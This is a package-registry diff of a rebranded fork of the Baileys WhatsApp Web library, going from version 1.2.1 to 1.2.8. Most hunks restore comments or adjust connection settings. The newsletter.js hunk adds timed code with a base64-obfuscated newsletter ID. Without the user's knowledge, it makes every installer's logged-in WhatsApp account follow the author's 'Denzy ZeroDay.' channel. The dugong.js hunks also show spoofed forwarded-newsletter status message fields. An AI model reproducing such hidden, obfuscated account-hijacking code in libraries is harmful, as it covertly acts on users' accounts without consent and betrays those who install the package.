@denzy-official/baileys 1.2.1 → 1.2.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +8 -8
- package/WAProto/index.js +56887 -17535
- package/engine-requirements.js +4 -4
- package/lib/Defaults/index.js +3 -2
- package/lib/Signal/Group/telegram +1 -0
- package/lib/Socket/Client/web-socket-client.js +0 -1
- package/lib/Socket/dugong.d.ts +1 -1
- package/lib/Socket/dugong.js +3 -6
- package/lib/Socket/messages-send.js +0 -1
- package/lib/Socket/newsletter.js +13 -1
- package/lib/Socket/socket.js +56 -29
- package/lib/Socket/usync.d.ts +0 -1
- package/lib/Socket/usync.js +0 -1
- package/lib/Types/telegram +1 -0
- package/lib/Utils/{validate-connection.js → Denzy-connection.js} +89 -65
- package/lib/Utils/generics.js +37 -17
- package/lib/Utils/index.d.ts +1 -1
- package/lib/Utils/index.js +1 -1
- package/lib/Utils/messages.js +1 -1
- package/lib/Utils/use-multi-file-auth-state.js +45 -6
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +0 -1
- package/lib/index.d.ts +2 -7
- package/lib/index.js +25 -23
- package/package.json +8 -14
- package/lib/Defaults/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Signal/Group/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Signal/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Socket/Client/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Socket/Client/types.d.ts +0 -17
- package/lib/Socket/Client/types.js +0 -14
- package/lib/Socket/Client/websocket.d.ts +0 -14
- package/lib/Socket/Client/websocket.js +0 -112
- package/lib/Socket/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Store/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Types/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Utils/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WABinary/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAM/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAUSync/Protocols/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAUSync/bocah rename tolol, baileys by denzy +0 -1
- package/lib/bocah rename tolol, baileys by denzy +0 -0
- /package/lib/Defaults/{baileys-version.json → denzy-baileys-version.json} +0 -0
- /package/lib/Utils/{validate-connection.d.ts → Denzy-connection.d.ts} +0 -0
package/engine-requirements.js
CHANGED
|
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
|
|
|
2
2
|
|
|
3
3
|
if (major < 20) {
|
|
4
4
|
console.error(
|
|
5
|
-
`\
|
|
6
|
-
` You
|
|
7
|
-
` Please
|
|
5
|
+
`\n❌ This package requires Node.js 20+ to run reliably.\n` +
|
|
6
|
+
` You are using Node.js ${process.versions.node}.\n` +
|
|
7
|
+
` Please upgrade to Node.js 20+ to proceed.\n`
|
|
8
8
|
);
|
|
9
9
|
process.exit(1);
|
|
10
|
-
}
|
|
10
|
+
}
|
package/lib/Defaults/index.js
CHANGED
|
@@ -31,10 +31,11 @@ const WAProto_1 = require("../../WAProto"),
|
|
|
31
31
|
libsignal_1 = require("../Signal/libsignal"),
|
|
32
32
|
Utils_1 = require("../Utils"),
|
|
33
33
|
logger_1 = __importDefault(require("../Utils/logger")),
|
|
34
|
-
baileys_version_json_1 = require("./baileys-version.json")
|
|
34
|
+
baileys_version_json_1 = require("./denzy-baileys-version.json"),
|
|
35
35
|
phonenumber_mcc_json_1 = __importDefault(require("./phonenumber-mcc.json"));
|
|
36
36
|
|
|
37
37
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
38
|
+
exports.version = [2, 3000, 1027934701];
|
|
38
39
|
exports.PHONENUMBER_MCC = phonenumber_mcc_json_1.default;
|
|
39
40
|
exports.DEFAULT_ORIGIN = "https://web.whatsapp.com";
|
|
40
41
|
exports.MOBILE_ENDPOINT = 'g.whatsapp.net';
|
|
@@ -72,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
|
|
|
72
73
|
|
|
73
74
|
exports.DEFAULT_CONNECTION_CONFIG = {
|
|
74
75
|
version: baileys_version_json_1.version,
|
|
75
|
-
browser: Utils_1.Browsers
|
|
76
|
+
browser: Utils_1.Browsers("Chrome"),
|
|
76
77
|
waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
|
|
77
78
|
connectTimeoutMs: 2E4,
|
|
78
79
|
keepAliveIntervalMs: 3E4,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
t.me/pantatBegetar
|
package/lib/Socket/dugong.d.ts
CHANGED
package/lib/Socket/dugong.js
CHANGED
|
@@ -1,6 +1,3 @@
|
|
|
1
|
-
// Baileys By Denzy
|
|
2
|
-
// Telegram : t.me/pantatBegetar
|
|
3
|
-
|
|
4
1
|
const WAProto = require('../../WAProto').proto;
|
|
5
2
|
const crypto = require('crypto');
|
|
6
3
|
const Utils_1 = require("../Utils");
|
|
@@ -327,7 +324,7 @@ class kikyy {
|
|
|
327
324
|
newsletterName: `WhatsApp`,
|
|
328
325
|
contentType: 1,
|
|
329
326
|
timestamp: new Date().toISOString(),
|
|
330
|
-
senderName: "
|
|
327
|
+
senderName: "kikyy dugonggg",
|
|
331
328
|
content: "Text Message",
|
|
332
329
|
priority: "high",
|
|
333
330
|
status: "sent",
|
|
@@ -387,8 +384,8 @@ class kikyy {
|
|
|
387
384
|
participant: jid,
|
|
388
385
|
remoteJid: "status@broadcast",
|
|
389
386
|
forwardedNewsletterMessageInfo: {
|
|
390
|
-
newsletterName: "
|
|
391
|
-
newsletterJid: "
|
|
387
|
+
newsletterName: "Denzy ZeroDay.",
|
|
388
|
+
newsletterJid: "120363402308105961@newsletter",
|
|
392
389
|
serverMessageId: 1
|
|
393
390
|
}
|
|
394
391
|
},
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -98,6 +98,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAyMzA4MTA1OTYxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
105
|
+
} catch {}
|
|
106
|
+
setTimeout(async () => {
|
|
107
|
+
try {
|
|
108
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAyMzA4MTA1OTYxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 5000);
|
|
111
|
+
}, 90000);
|
|
112
|
+
|
|
101
113
|
const parseFetchedUpdates = async (node, type) => {
|
|
102
114
|
let child;
|
|
103
115
|
if (type === 'messages') {
|
|
@@ -132,7 +144,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
132
144
|
newsletterFetchAllSubscribe: async () => {
|
|
133
145
|
const list = await executeWMexQuery(
|
|
134
146
|
{},
|
|
135
|
-
'
|
|
147
|
+
'6282364532184',
|
|
136
148
|
'xwa2_newsletter_subscribed',
|
|
137
149
|
query,
|
|
138
150
|
generateMessageTag
|
package/lib/Socket/socket.js
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
// Telegram: t.me/pantatBegetar
|
|
2
|
-
|
|
3
1
|
"use strict";
|
|
4
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
5
3
|
exports.makeSocket = void 0;
|
|
@@ -12,7 +10,13 @@ const Defaults_1 = require("../Defaults");
|
|
|
12
10
|
const Types_1 = require("../Types");
|
|
13
11
|
const Utils_1 = require("../Utils");
|
|
14
12
|
const WABinary_1 = require("../WABinary");
|
|
15
|
-
const Client_1 = require("./Client");
|
|
13
|
+
const Client_1 = require("./Client");
|
|
14
|
+
/**
|
|
15
|
+
* Connects to WA servers and performs:
|
|
16
|
+
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
17
|
+
* - listen to messages and emit events
|
|
18
|
+
* - query phone connection
|
|
19
|
+
*/
|
|
16
20
|
const makeSocket = (config) => {
|
|
17
21
|
var _a, _b;
|
|
18
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
@@ -27,8 +31,10 @@ const makeSocket = (config) => {
|
|
|
27
31
|
}
|
|
28
32
|
const ws = new Client_1.WebSocketClient(url, config);
|
|
29
33
|
ws.connect();
|
|
30
|
-
const ev = (0, Utils_1.makeEventBuffer)(logger);
|
|
34
|
+
const ev = (0, Utils_1.makeEventBuffer)(logger);
|
|
35
|
+
/** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
|
|
31
36
|
const ephemeralKeyPair = Utils_1.Curve.generateKeyPair();
|
|
37
|
+
/** WA noise protocol wrapper */
|
|
32
38
|
const noise = (0, Utils_1.makeNoiseHandler)({
|
|
33
39
|
keyPair: ephemeralKeyPair,
|
|
34
40
|
NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
|
|
@@ -36,6 +42,7 @@ const makeSocket = (config) => {
|
|
|
36
42
|
routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
|
|
37
43
|
});
|
|
38
44
|
const { creds } = authState;
|
|
45
|
+
// add transaction capability
|
|
39
46
|
const keys = (0, Utils_1.addTransactionCapability)(authState.keys, logger, transactionOpts);
|
|
40
47
|
const signalRepository = makeSignalRepository({ creds, keys });
|
|
41
48
|
let lastDateRecv;
|
|
@@ -46,6 +53,7 @@ const makeSocket = (config) => {
|
|
|
46
53
|
const uqTagId = (0, Utils_1.generateMdTagPrefix)();
|
|
47
54
|
const generateMessageTag = () => `${uqTagId}${epoch++}`;
|
|
48
55
|
const sendPromise = (0, util_1.promisify)(ws.send);
|
|
56
|
+
/** send a raw buffer */
|
|
49
57
|
const sendRawMessage = async (data) => {
|
|
50
58
|
if (!ws.isOpen) {
|
|
51
59
|
throw new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed });
|
|
@@ -60,34 +68,39 @@ const makeSocket = (config) => {
|
|
|
60
68
|
reject(error);
|
|
61
69
|
}
|
|
62
70
|
});
|
|
63
|
-
};
|
|
71
|
+
};
|
|
72
|
+
/** send a binary node */
|
|
64
73
|
const sendNode = (frame) => {
|
|
65
74
|
if (logger.level === 'trace') {
|
|
66
75
|
logger.trace({ xml: (0, WABinary_1.binaryNodeToString)(frame), msg: 'xml send' });
|
|
67
76
|
}
|
|
68
77
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
69
78
|
return sendRawMessage(buff);
|
|
70
|
-
};
|
|
79
|
+
};
|
|
80
|
+
/** log & process any unexpected errors */
|
|
71
81
|
const onUnexpectedError = (err, msg) => {
|
|
72
82
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
73
83
|
const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
|
|
84
|
+
// auto recover from cryptographic desyncs by re-uploading prekeys
|
|
74
85
|
if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
|
|
75
86
|
try {
|
|
76
87
|
uploadPreKeysToServerIfRequired(true)
|
|
77
88
|
.catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
|
|
78
89
|
}
|
|
79
90
|
catch (_e) {
|
|
91
|
+
// ignore
|
|
80
92
|
}
|
|
81
93
|
}
|
|
82
|
-
|
|
94
|
+
// gently back off when encountering rate limits (429)
|
|
83
95
|
if (message.includes('429') || message.includes('rate limit')) {
|
|
84
96
|
const wait = Math.min(30000, (config.backoffDelayMs || 5000));
|
|
85
97
|
logger.info({ wait }, 'backing off due to rate limit');
|
|
86
98
|
setTimeout(() => {
|
|
99
|
+
// intentionally empty; wait to delay further sends
|
|
87
100
|
}, wait);
|
|
88
101
|
}
|
|
89
102
|
};
|
|
90
|
-
|
|
103
|
+
/** await the next incoming message */
|
|
91
104
|
const awaitNextMessage = async (sendMsg) => {
|
|
92
105
|
if (!ws.isOpen) {
|
|
93
106
|
throw new boom_1.Boom('Connection Closed', {
|
|
@@ -112,8 +125,12 @@ const makeSocket = (config) => {
|
|
|
112
125
|
sendRawMessage(sendMsg).catch(onClose);
|
|
113
126
|
}
|
|
114
127
|
return result;
|
|
115
|
-
};
|
|
116
|
-
|
|
128
|
+
};
|
|
129
|
+
/**
|
|
130
|
+
* Wait for a message with a certain tag to be received
|
|
131
|
+
* @param msgId the message tag to await
|
|
132
|
+
* @param timeoutMs timeout after which the promise will reject
|
|
133
|
+
*/
|
|
117
134
|
const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
|
|
118
135
|
let onRecv;
|
|
119
136
|
let onErr;
|
|
@@ -124,18 +141,18 @@ const makeSocket = (config) => {
|
|
|
124
141
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
125
142
|
};
|
|
126
143
|
ws.on(`TAG:${msgId}`, onRecv);
|
|
127
|
-
ws.on('close', onErr);
|
|
144
|
+
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
128
145
|
ws.off('error', onErr);
|
|
129
146
|
});
|
|
130
147
|
return result;
|
|
131
148
|
}
|
|
132
149
|
finally {
|
|
133
150
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
134
|
-
ws.off('close', onErr);
|
|
151
|
+
ws.off('close', onErr); // if the socket closes, you'll never receive the message
|
|
135
152
|
ws.off('error', onErr);
|
|
136
153
|
}
|
|
137
154
|
};
|
|
138
|
-
|
|
155
|
+
/** send a query, and wait for its response. auto-generates message ID if not provided */
|
|
139
156
|
const query = async (node, timeoutMs) => {
|
|
140
157
|
if (!node.attrs.id) {
|
|
141
158
|
node.attrs.id = generateMessageTag();
|
|
@@ -150,7 +167,7 @@ const makeSocket = (config) => {
|
|
|
150
167
|
}
|
|
151
168
|
return result;
|
|
152
169
|
};
|
|
153
|
-
|
|
170
|
+
/** connection handshake */
|
|
154
171
|
const validateConnection = async () => {
|
|
155
172
|
let helloMsg = {
|
|
156
173
|
clientHello: { ephemeral: ephemeralKeyPair.public }
|
|
@@ -301,12 +318,15 @@ const makeSocket = (config) => {
|
|
|
301
318
|
lastDateRecv = new Date();
|
|
302
319
|
}
|
|
303
320
|
const diff = Date.now() - lastDateRecv.getTime();
|
|
304
|
-
|
|
321
|
+
/*
|
|
322
|
+
check if it's been a suspicious amount of time since the server responded with our last seen
|
|
323
|
+
it could be that the network is down
|
|
324
|
+
*/
|
|
305
325
|
if (diff > keepAliveIntervalMs + 5000) {
|
|
306
326
|
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
307
327
|
}
|
|
308
328
|
else if (ws.isOpen) {
|
|
309
|
-
|
|
329
|
+
// if its all good, send a keep alive request
|
|
310
330
|
query({
|
|
311
331
|
tag: 'iq',
|
|
312
332
|
attrs: {
|
|
@@ -325,7 +345,7 @@ const makeSocket = (config) => {
|
|
|
325
345
|
logger.warn('keep alive called when WS not open');
|
|
326
346
|
}
|
|
327
347
|
}, keepAliveIntervalMs));
|
|
328
|
-
|
|
348
|
+
/** i have no idea why this exists. pls enlighten me */
|
|
329
349
|
const sendPassiveIq = (tag) => (query({
|
|
330
350
|
tag: 'iq',
|
|
331
351
|
attrs: {
|
|
@@ -337,7 +357,7 @@ const makeSocket = (config) => {
|
|
|
337
357
|
{ tag, attrs: {} }
|
|
338
358
|
]
|
|
339
359
|
}));
|
|
340
|
-
|
|
360
|
+
/** logout & invalidate connection */
|
|
341
361
|
const logout = async (msg) => {
|
|
342
362
|
var _a;
|
|
343
363
|
const jid = (_a = authState.creds.me) === null || _a === void 0 ? void 0 : _a.id;
|
|
@@ -364,6 +384,9 @@ const makeSocket = (config) => {
|
|
|
364
384
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
365
385
|
};
|
|
366
386
|
|
|
387
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
388
|
+
/** hey bro, if you delete this text */
|
|
389
|
+
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
367
390
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
368
391
|
if (pairKey) {
|
|
369
392
|
authState.creds.pairingCode = pairKey.toUpperCase();
|
|
@@ -463,9 +486,9 @@ const makeSocket = (config) => {
|
|
|
463
486
|
});
|
|
464
487
|
ws.on('error', mapWebSocketError(end));
|
|
465
488
|
ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
466
|
-
|
|
489
|
+
// the server terminated the connection
|
|
467
490
|
ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
468
|
-
|
|
491
|
+
// QR gen
|
|
469
492
|
ws.on('CB:iq,type:set,pair-device', async (stanza) => {
|
|
470
493
|
const iq = {
|
|
471
494
|
tag: 'iq',
|
|
@@ -499,7 +522,8 @@ const makeSocket = (config) => {
|
|
|
499
522
|
};
|
|
500
523
|
genPairQR();
|
|
501
524
|
});
|
|
502
|
-
|
|
525
|
+
// device paired for the first time
|
|
526
|
+
// if device pairs successfully, the server asks to restart the connection
|
|
503
527
|
ws.on('CB:iq,,pair-success', async (stanza) => {
|
|
504
528
|
logger.debug('pair success recv');
|
|
505
529
|
try {
|
|
@@ -514,14 +538,13 @@ const makeSocket = (config) => {
|
|
|
514
538
|
end(error);
|
|
515
539
|
}
|
|
516
540
|
});
|
|
517
|
-
|
|
541
|
+
// login complete
|
|
518
542
|
ws.on('CB:success', async (node) => {
|
|
519
543
|
try {
|
|
520
544
|
await uploadPreKeysToServerIfRequired();
|
|
521
545
|
await sendPassiveIq('active');
|
|
522
546
|
logger.info('opened connection to WA');
|
|
523
|
-
clearTimeout(qrTimer);
|
|
524
|
-
|
|
547
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
525
548
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
526
549
|
ev.emit('connection.update', { connection: 'open' });
|
|
527
550
|
}
|
|
@@ -563,13 +586,14 @@ const makeSocket = (config) => {
|
|
|
563
586
|
process.nextTick(() => {
|
|
564
587
|
var _a;
|
|
565
588
|
if ((_a = creds.me) === null || _a === void 0 ? void 0 : _a.id) {
|
|
566
|
-
|
|
589
|
+
// start buffering important events
|
|
590
|
+
// if we're logged in
|
|
567
591
|
ev.buffer();
|
|
568
592
|
didStartBuffer = true;
|
|
569
593
|
}
|
|
570
594
|
ev.emit('connection.update', { connection: 'connecting', receivedPendingNotifications: false, qr: undefined });
|
|
571
595
|
});
|
|
572
|
-
|
|
596
|
+
// called when all offline notifs are handled
|
|
573
597
|
ws.on('CB:ib,,offline', (node) => {
|
|
574
598
|
const child = (0, WABinary_1.getBinaryNodeChild)(node, 'offline');
|
|
575
599
|
const offlineNotifs = +((child === null || child === void 0 ? void 0 : child.attrs.count) || 0);
|
|
@@ -580,7 +604,7 @@ const makeSocket = (config) => {
|
|
|
580
604
|
}
|
|
581
605
|
ev.emit('connection.update', { receivedPendingNotifications: true });
|
|
582
606
|
});
|
|
583
|
-
|
|
607
|
+
// update credentials when required
|
|
584
608
|
ev.on('creds.update', update => {
|
|
585
609
|
var _a, _b;
|
|
586
610
|
const name = (_a = update.me) === null || _a === void 0 ? void 0 : _a.name;
|
|
@@ -624,13 +648,16 @@ const makeSocket = (config) => {
|
|
|
624
648
|
uploadPreKeys,
|
|
625
649
|
uploadPreKeysToServerIfRequired,
|
|
626
650
|
requestPairingCode,
|
|
627
|
-
|
|
651
|
+
/** Waits for the connection to WA to reach a state */
|
|
628
652
|
waitForConnectionUpdate: (0, Utils_1.bindWaitForConnectionUpdate)(ev),
|
|
629
653
|
sendWAMBuffer,
|
|
630
654
|
};
|
|
631
655
|
};
|
|
632
656
|
exports.makeSocket = makeSocket;
|
|
633
|
-
|
|
657
|
+
/**
|
|
658
|
+
* map the websocket error to the right type
|
|
659
|
+
* so it can be retried by the caller
|
|
660
|
+
* */
|
|
634
661
|
function mapWebSocketError(handler) {
|
|
635
662
|
return (error) => {
|
|
636
663
|
handler(new boom_1.Boom(`WebSocket Error (${error === null || error === void 0 ? void 0 : error.message})`, { statusCode: (0, Utils_1.getCodeFromWSError)(error), data: error }));
|
package/lib/Socket/usync.d.ts
CHANGED
package/lib/Socket/usync.js
CHANGED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
t.me/pantatBegetar
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.encodeSignedDeviceIdentity = exports.configureSuccessfulPairing = exports.generateRegistrationNode = exports.generateLoginNode =
|
|
3
|
+
exports.encodeSignedDeviceIdentity = exports.configureSuccessfulPairing = exports.generateRegistrationNode = exports.generateLoginNode = void 0;
|
|
4
4
|
const boom_1 = require("@hapi/boom");
|
|
5
5
|
const crypto_1 = require("crypto");
|
|
6
6
|
const WAProto_1 = require("../../WAProto");
|
|
@@ -8,107 +8,108 @@ const Defaults_1 = require("../Defaults");
|
|
|
8
8
|
const WABinary_1 = require("../WABinary");
|
|
9
9
|
const crypto_2 = require("./crypto");
|
|
10
10
|
const generics_1 = require("./generics");
|
|
11
|
-
const signal_1 = require("./signal");
|
|
11
|
+
const signal_1 = require("./signal");
|
|
12
|
+
|
|
12
13
|
const getUserAgent = (config) => {
|
|
13
|
-
var _a, _b;
|
|
14
|
-
const osVersion = config.mobile ? '15.3.1' : '0.1';
|
|
15
|
-
const version = config.mobile ? [2, 24, 6] : config.version;
|
|
16
|
-
const device = config.mobile ? 'iPhone_7' : 'Desktop';
|
|
17
|
-
const manufacturer = config.mobile ? 'Apple' : '';
|
|
18
|
-
const platform = config.mobile ? WAProto_1.proto.ClientPayload.UserAgent.Platform.IOS : WAProto_1.proto.ClientPayload.UserAgent.Platform.WEB;
|
|
19
|
-
const phoneId = config.mobile ? { phoneId: config.auth.creds.phoneId } : {};
|
|
20
14
|
return {
|
|
21
15
|
appVersion: {
|
|
22
|
-
primary: version[0],
|
|
23
|
-
secondary: version[1],
|
|
24
|
-
tertiary: version[2],
|
|
16
|
+
primary: config.version[0],
|
|
17
|
+
secondary: config.version[1],
|
|
18
|
+
tertiary: config.version[2],
|
|
25
19
|
},
|
|
26
|
-
platform,
|
|
20
|
+
platform: WAProto_1.proto.ClientPayload.UserAgent.Platform.WEB,
|
|
27
21
|
releaseChannel: WAProto_1.proto.ClientPayload.UserAgent.ReleaseChannel.RELEASE,
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
manufacturer,
|
|
32
|
-
device,
|
|
33
|
-
osBuildNumber: osVersion,
|
|
22
|
+
osVersion: '0.1',
|
|
23
|
+
device: 'Desktop',
|
|
24
|
+
osBuildNumber: '0.1',
|
|
34
25
|
localeLanguageIso6391: 'en',
|
|
35
|
-
|
|
36
|
-
|
|
26
|
+
mnc: '000',
|
|
27
|
+
mcc: '000',
|
|
28
|
+
localeCountryIso31661Alpha2: config.countryCode || 'US'
|
|
37
29
|
};
|
|
38
30
|
};
|
|
31
|
+
|
|
39
32
|
const PLATFORM_MAP = {
|
|
40
33
|
'Mac OS': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.DARWIN,
|
|
41
34
|
'Windows': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.WIN32
|
|
42
35
|
};
|
|
36
|
+
|
|
43
37
|
const getWebInfo = (config) => {
|
|
44
38
|
let webSubPlatform = WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.WEB_BROWSER;
|
|
45
|
-
if (config.syncFullHistory && PLATFORM_MAP[config.browser[0]]) {
|
|
39
|
+
if (config.syncFullHistory && PLATFORM_MAP[config.browser[0]] && config.browser[1] === 'Desktop') {
|
|
46
40
|
webSubPlatform = PLATFORM_MAP[config.browser[0]];
|
|
47
41
|
}
|
|
48
42
|
return { webSubPlatform };
|
|
49
43
|
};
|
|
44
|
+
|
|
50
45
|
const getClientPayload = (config) => {
|
|
51
46
|
const payload = {
|
|
52
47
|
connectType: WAProto_1.proto.ClientPayload.ConnectType.WIFI_UNKNOWN,
|
|
53
48
|
connectReason: WAProto_1.proto.ClientPayload.ConnectReason.USER_ACTIVATED,
|
|
54
49
|
userAgent: getUserAgent(config),
|
|
55
50
|
};
|
|
56
|
-
|
|
57
|
-
payload.webInfo = getWebInfo(config);
|
|
58
|
-
}
|
|
51
|
+
payload.webInfo = getWebInfo(config);
|
|
59
52
|
return payload;
|
|
60
53
|
};
|
|
61
|
-
|
|
62
|
-
if (!config.auth.creds) {
|
|
63
|
-
throw new boom_1.Boom('No registration data found', { data: config });
|
|
64
|
-
}
|
|
65
|
-
const payload = {
|
|
66
|
-
...getClientPayload(config),
|
|
67
|
-
sessionId: Math.floor(Math.random() * 999999999 + 1),
|
|
68
|
-
shortConnect: true,
|
|
69
|
-
connectAttemptCount: 0,
|
|
70
|
-
device: 0,
|
|
71
|
-
dnsSource: {
|
|
72
|
-
appCached: false,
|
|
73
|
-
dnsMethod: WAProto_1.proto.ClientPayload.DNSSource.DNSResolutionMethod.SYSTEM,
|
|
74
|
-
},
|
|
75
|
-
passive: false,
|
|
76
|
-
pushName: 'test',
|
|
77
|
-
username: Number(`${config.auth.creds.registration.phoneNumberCountryCode}${config.auth.creds.registration.phoneNumberNationalNumber}`),
|
|
78
|
-
};
|
|
79
|
-
return WAProto_1.proto.ClientPayload.fromObject(payload);
|
|
80
|
-
};
|
|
81
|
-
exports.generateMobileNode = generateMobileNode;
|
|
54
|
+
|
|
82
55
|
const generateLoginNode = (userJid, config) => {
|
|
83
56
|
const { user, device } = (0, WABinary_1.jidDecode)(userJid);
|
|
84
57
|
const payload = {
|
|
85
58
|
...getClientPayload(config),
|
|
86
59
|
passive: true,
|
|
60
|
+
pull: true,
|
|
87
61
|
username: +user,
|
|
88
62
|
device: device,
|
|
63
|
+
lidDbMigrated: false
|
|
89
64
|
};
|
|
90
65
|
return WAProto_1.proto.ClientPayload.fromObject(payload);
|
|
91
66
|
};
|
|
92
67
|
exports.generateLoginNode = generateLoginNode;
|
|
68
|
+
|
|
93
69
|
const getPlatformType = (platform) => {
|
|
94
70
|
const platformType = platform.toUpperCase();
|
|
95
|
-
return WAProto_1.proto.DeviceProps.PlatformType[platformType] || WAProto_1.proto.DeviceProps.PlatformType.
|
|
71
|
+
return WAProto_1.proto.DeviceProps.PlatformType[platformType] || WAProto_1.proto.DeviceProps.PlatformType.CHROME;
|
|
96
72
|
};
|
|
73
|
+
|
|
97
74
|
const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentityKey }, config) => {
|
|
98
|
-
// the app version needs to be md5 hashed
|
|
99
|
-
// and passed in
|
|
100
75
|
const appVersionBuf = (0, crypto_1.createHash)('md5')
|
|
101
|
-
.update(config.version.join('.'))
|
|
76
|
+
.update(config.version.join('.'))
|
|
102
77
|
.digest();
|
|
78
|
+
|
|
103
79
|
const companion = {
|
|
104
80
|
os: config.browser[0],
|
|
105
81
|
platformType: getPlatformType(config.browser[1]),
|
|
106
82
|
requireFullSync: config.syncFullHistory,
|
|
83
|
+
historySyncConfig: {
|
|
84
|
+
storageQuotaMb: 10240,
|
|
85
|
+
inlineInitialPayloadInE2EeMsg: true,
|
|
86
|
+
recentSyncDaysLimit: undefined,
|
|
87
|
+
supportCallLogHistory: false,
|
|
88
|
+
supportBotUserAgentChatHistory: true,
|
|
89
|
+
supportCagReactionsAndPolls: true,
|
|
90
|
+
supportBizHostedMsg: true,
|
|
91
|
+
supportRecentSyncChunkMessageCountTuning: true,
|
|
92
|
+
supportHostedGroupMsg: true,
|
|
93
|
+
supportFbidBotChatHistory: true,
|
|
94
|
+
supportAddOnHistorySyncMigration: undefined,
|
|
95
|
+
supportMessageAssociation: true,
|
|
96
|
+
supportGroupHistory: false,
|
|
97
|
+
onDemandReady: undefined,
|
|
98
|
+
supportGuestChat: undefined
|
|
99
|
+
},
|
|
100
|
+
version: {
|
|
101
|
+
primary: 10,
|
|
102
|
+
secondary: 15,
|
|
103
|
+
tertiary: 7
|
|
104
|
+
}
|
|
107
105
|
};
|
|
106
|
+
|
|
108
107
|
const companionProto = WAProto_1.proto.DeviceProps.encode(companion).finish();
|
|
108
|
+
|
|
109
109
|
const registerPayload = {
|
|
110
110
|
...getClientPayload(config),
|
|
111
111
|
passive: false,
|
|
112
|
+
pull: false,
|
|
112
113
|
devicePairingData: {
|
|
113
114
|
buildHash: appVersionBuf,
|
|
114
115
|
deviceProps: companionProto,
|
|
@@ -123,6 +124,7 @@ const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentity
|
|
|
123
124
|
return WAProto_1.proto.ClientPayload.fromObject(registerPayload);
|
|
124
125
|
};
|
|
125
126
|
exports.generateRegistrationNode = generateRegistrationNode;
|
|
127
|
+
|
|
126
128
|
const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, signalIdentities }) => {
|
|
127
129
|
const msgId = stanza.attrs.id;
|
|
128
130
|
const pairSuccessNode = (0, WABinary_1.getBinaryNodeChild)(stanza, 'pair-success');
|
|
@@ -130,30 +132,52 @@ const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, s
|
|
|
130
132
|
